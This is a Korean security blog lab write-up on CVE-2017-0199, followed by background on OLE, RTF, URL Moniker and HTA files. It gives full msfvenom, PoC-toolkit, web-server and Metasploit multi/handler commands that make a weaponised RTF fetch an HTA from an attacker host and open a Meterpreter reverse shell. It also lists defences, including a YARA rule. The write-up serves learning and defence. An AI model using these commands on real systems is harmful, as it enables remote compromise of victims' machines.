1. 취약점 [1]

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2017-0199

- MS Zero-day 공격으로, OLE2link 오브젝트를 포함한 워드파일을 열기만 하면 임의의 코드가 실행되는 취약점

영향받는 버전: Microsoft Word 모든 버전

 

2. 실습

2.1 환경

- 공격자 환경

[사진 2] 공격자 환경

 

- 피해자환경

[사진 3] 피해자 환경

2.2 실습

① PoC를 위한 파일은 Github에 올라온 오픈 소스를 사용 [2]

git clone https://github.com/bhdresh/CVE-2017-0199

 

② msfvenom을 사용해 리버스쉘을 생성하는 HTA 파일을 생성

msfvenom [3][4]
- 메타스플로잇 프레임워크에 포함되어 있는 페이로드 생성 도구로 칼리에 내장되어 있음
- 2015년 6월에 msfpayload 및 msfencode가 msfvenom에 통합

 

- 해당 툴을 처음 사용해서 -h 옵션으로 사용법을 확인

> 실행 결과 중 Example 부분을 차용해 HTA 파일을 생성하면 될 것으로 판단

[사진 4] msfvenom 옵션

 

- [사진 2]에서 Example과 Options을 확인해보면 아래와 같은 페이로드를 완성할 수 있음

> -p windows/meterpreter/reverse_tcp: 리버스쉘을 생성하는 페이로드 사용

> LHOST=<공격자 IP>: 리버스쉘 생성시 접속할 공격자의 IP

> LPORT=<공격자 Port>: 리버스쉘 생성시 접속할 공격자의 Port

> -f <파일 포맷>: 파일 포맷 지정 (msfvenom --list format으로 사용가능한 포맷 확인 가능)

> -o <결과 파일명>: 앞서 설정한 옵션으로 생성할 결과 파일명

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f hta-psh -o report.hta

[사진 5] HTA 파일 생성

 

③ RTF 파일 생성

- ②에서 생성한 HTA 파일과 PoC 파일을 통해 RTF 파일을 생성

> -M gen: 악성 페이로드 생성

> -t RTF: 파일 유형으로 RTF 지정

> -w yeahhub.rtf: 공격에 사용할 RTF 파일명 지정

> -u hxxp://192.168.56.102:8000/report.hta: HTA 위치 지정

python cve-2017-0199_toolkit.py -M gen -t RTF -w yeahhub.rtf -u http://192.168.56.102:8000/report.hta

[사진 6] RTF 파일 생성

 

④ 웹 서버 구동

- 피해자가 악성 RTF 문서를 실행했을 때, 스크립트 형태의 악성코드를 전송해야 하므로 서버를 설정하는 것으로 판단됨.

> 아래 명령은 기본적으로 로컬 웹 서버의 8000번 포트를 이용

> RTF 파일을 생성한 디렉터리에서 HTTP를 실행해야 한다고 함

python -m SimpleHTTPServer

[사진 7] 서버 실행

 

⑤ msfconsole을 이용한 멀티핸들러 설정

- 이부분에서 multi/handler에 대한 이해가 되지않아 구글링 결과를 정리하면 다음과 같음

⒜ 피해자가 파일을 실행한 후 공격자가 제어하는 호스트로 접속이 되어야 공격자의 추가 공격 가능

> 피해자가 RTF 파일을 실행해 공격자 서버에 접근해 HTA 파일을 다운받아 스크립트를 실행해 리버스쉘 생성

⒝ 이때, 들어오는 접속을 multi/handler로 받아 메타스플로잇 세션을 열어줌

> multi/handler로 해당 세션을 메타스플로잇으로 넘겨줘 공격자가 추가 악성 행위 수행

# msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.102
set LPORT 4444
run

[사진 8] 메타스플로잇 실행

 

⑥ 피해시스템에서 파일 실행

[사진 9] 파일 실행

 

- [사진 8]에서 차단 해제를 클릭한 후 발생하는 알림창에서 예를 클릭

> ActiveX 실행 관련 알람 발생 후 문서가 실행됨

[사진 10] 차단 해제

 

⑦ 피해자 > 공격자 리버스쉘 생성

- 피해자 > 공격자 리버스쉘이 생성된 것을 확인할 수 있음

> 공격자:8000으로 접속하여 HTA 파일을 다운받음

> 피해 시스템에서 HTA 파일이 실행되 리버스쉘 생성

> multi/handler에 의해 메타스플로잇으로 해당 세션이 넘어가 추가 악성행위 가능

[사진 11] 리버스쉘 생성

 

[사진 12] 패킷 일부

 

- 위 과정을 요약하면 다음과 같음

[사진 13] 과정 요약

3. 대응방안

① 최신 보안 패치 적용

- 해당 취약점은 2017.04 MS에서 패치한 취약점

 

② 매크로 기능 비활성화

- 해당 취약점에서는 RTF 파일 실행 후 매크로 사용 시 악성코드에 감염

> 해당 취약점 외 공격자들이 악성코드 등을 유포하는데 매크로 기능을 주로 사용

 

③ 보안 장비에 탐지 규칙 적용 [5]

<예시>
rule rtf_objdata_urlmoniker_http {
 strings:
 $header = &quot;{\\rtf1&quot;
 $objdata = &quot;objdata 0105000002000000&quot; nocase
 $urlmoniker = &quot;E0C9EA79F9BACE118C8200AA004BA90B&quot; nocase
 $http = &quot;68007400740070003a002f002f00&quot; nocase
 condition:
 $header at 0 and $objdata and $urlmoniker and $http
 }

 

④ 불필요 또는 악성코드 유포 등에 사용된 확장자를 메일 보안 솔루션에서 필터링

> 확장자 차단에 따른 영향도 검토 필요

 

⑤ 출처가 불분명한 첨부파일 실행 주의/금지 등 기본적인 보안 방안 준수

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/cve-2017-0199
[2] https://github.com/bhdresh/CVE-2017-0199
[3] https://scytalezz.tistory.com/134
[4] https://dazemonkey.tistory.com/142
[5] https://blog.nviso.eu/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/
[6] https://securityaffairs.co/58077/breaking-news/cve-2017-0199-exploitation-poc.html
[7] https://www.boannews.com/media/view.asp?idx=117413&page=1&kind=1 

1. 개요

- 북한 해킹 조직 킴수키(Kimsuky)에서 과거 활용했던 취약점

- 과거 북한은 해당 취약점을 이용해 2014.12.09 한수원 사태를 일으킴

- 해당 취약점은 발견 당시 Zero-Day 취약점이었으며, 2017.04 MS에서 패치를 진행

- 러시아에서 사이버무기로 활용하던 제로데이 취약점으로, 취약점이 공개되자 북한이 활용한 것으로 판단

※ 보안뉴스 "세계적인 관심 받고 있는 북한의 APT 단체 킴수키, 어떻게 막아야 하나" 취약점이 포함되어 있어 정리

 

2. 관련 지식

2.1 OLE

- 객체 연결 삽입(Object Linking and Embedding, OLE)의 준말

- MS에서 개발하였으며, 문서와 기타 객체에 연결과 삽입을 도와주는 연결규약

- 다른 응용프로그램에서 작성된 문자나 그림, mp3 등의 개체를 현재 작성 중인 문서에 자유롭게 연결하거나 삽입하여 편집할 수 있게 하는 기능

버전 설명
OLE 1.0 - 1990년에 출시
- MS가 초기 버전의 윈도우 OS용으로 만든 동적 데이터 교환(Dynamic Data Exchange, DDE)를 확장한 것
OLE 2.0 - 자동화, 드래그 앤 드롭 등의 기능이 추가

 

- 해당 취약점에서는 OLE2 link object를 악용

> OLE2 기술을 사용하여 생성된 객체를 다른 문서나 응용 프로그램과 연결하는 객체

> 원본 객체의 데이터와 OLE2 기술을 사용하여 생성된 링크 정보를 포함하며, 링크 정보를 사용하여 원본 객체를 참조

 

2.2 RTF 파일

- 서식있는 텍스트 파일 (Rich Text Format, RTF)

- MS가 1987년 개발 및 표준화한 파일 포맷으로 확장자로 ".RTF"를 가짐

- Microsoft Word, LibreOffice, OpenOffice 등 다양한 소프트웨어에서 지원

- 텍스트만 저장하는 일반 텍스트 파일과 달리 글꼴 스타일, 서식, 이미지 등에 대한 정보도 저장되어 서식 유지 가능

> ASCII 텍스트로 작성되어 있으며, 문서에 포함된 서식(글꼴, 색상, 크기, 스타일 등)을 나타내는 태그가 포함

> 서식 태그는 RTF 리더기나 편집기에서 해석되어 문서의 서식이 적용

 

2.3 URL Moniker

- URL Moniker는 COM 개체의 구성요소로, 인터넷에서 리소스를 찾아내 참조하기 위한 기술

- URL을 사용하여 웹 페이지, 이미지, 비디오, 오디오 등의 인터넷 리소스를 찾아내고, 해당 리소스를 다른 응용 프로그램과 공유할 수 있도록 해줌

COM(Component Object Model) 개체
- Microsoft에서 개발한 소프트웨어 컴포넌트 모델
- 프로그래밍 언어나 기술에 관계없이 서로 다른 소프트웨어 컴포넌트들이 상호작용할 수 있도록 해주는 일종의 인터페이스 규격
- COM 개체는 다른 소프트웨어 컴포넌트와 통신하기 위한 메서드와 속성을 제공하며, COM 라이브러리에 등록된 후 COM의 런타임 환경에서 실행

 

2.4 HTA 파일

- HTML Application의 약자이며, 확장자로 ".HTA"를 가짐

- 소스 코드가 HTML , 동적 HTML, VBScript, JScript 와 같이 Internet Explorer에서 지원하는 하나 이상의 스크립팅 언어로 구성된 Microsoft Windows 프로그램

- 인터넷 브라우저 보안 모델의 제약 없이 실행되며,  "완전히 신뢰할 수 있는" 응용 프로그램으로 실행됨

> 실행 시 실행 경고창이 생성되지 않음

> 신뢰할 수 없는 프로그램을 실행할 수 있고, Powershell을 이용하여 로컬 파일 목록을 획득하거나 랜섬웨어 공격 등에 악용되기도 함

 

2.4.1 HTML과 HTA 비교

- 아래 계산기를 실행하는 코드를 HTML과 HTA 파일로 만들어 실행해 결과를 비교

> HTML 실행 시 Activex 함수 실행 관련 경고창이 발생할 것으로 예상

> HTA 실행 시 아무런 경고창 없이 실행될 것으로 예상

<html>
<head>
<script language="javascript">
  shell = new ActiveXObject("WScript.shell");
  shell.Exec('calc.exe');
</script>
</head>
<body>
</body>
</html>

 

 

- 예상과 달리 HTML과 HTA 파일 모두 첨부파일 실행 시 경고창이 발생하지 않음

> 엣지, 크롬으로 HTML을 실행해 보았으나, 경고창이 발생하지 않음

> 인터넷 익스플로러에서 HTML를 실행하면 ActivexObject 컨텐츠와 상호작용을 허용이 필요하다는 정보를 찾음

>  하지만, IE에서도 HTML 실행에 대한 경고가 발생하지 않았으며, 이유에 대해서는 아직 잘 모르겠음

 

 

- 두 파일의 아이콘과 실행 결과 모두 차이를 보임

> HTML 실행 결과 Activex 함수가 실행되지 않아 계산기 실행이 되지않음

> HTA 실행 결과 Activex 함수가 실행되어 계산기가 실행

[사진 1] HTML(좌), HTA(우) 아이콘 및 실행결과 비교

 

3. 공격방식

① 공격자가 OLE2 link object를 포함한 MS Word 문서를 사용자에게 피싱 메일 등으로 전송

② 사용자가 해당 문서를 열람할 경우 URL Moniker에 의해 공격자가 지정한 서버(공격자가 제어 가능한 서버)에 접근

③ 공격자의 서버에서 HTA 파일 형태로 스크립트가 사용자에게 전송

④ HTA 파일 특성 상 경고창 없이 실행되며, HTA 내부에 포함된 Powershell 명령이 실행되어 악성파일 요청

⑤ 요청한 악성파일을 전송 및 실행하여 악성행위 수행

+ Recent posts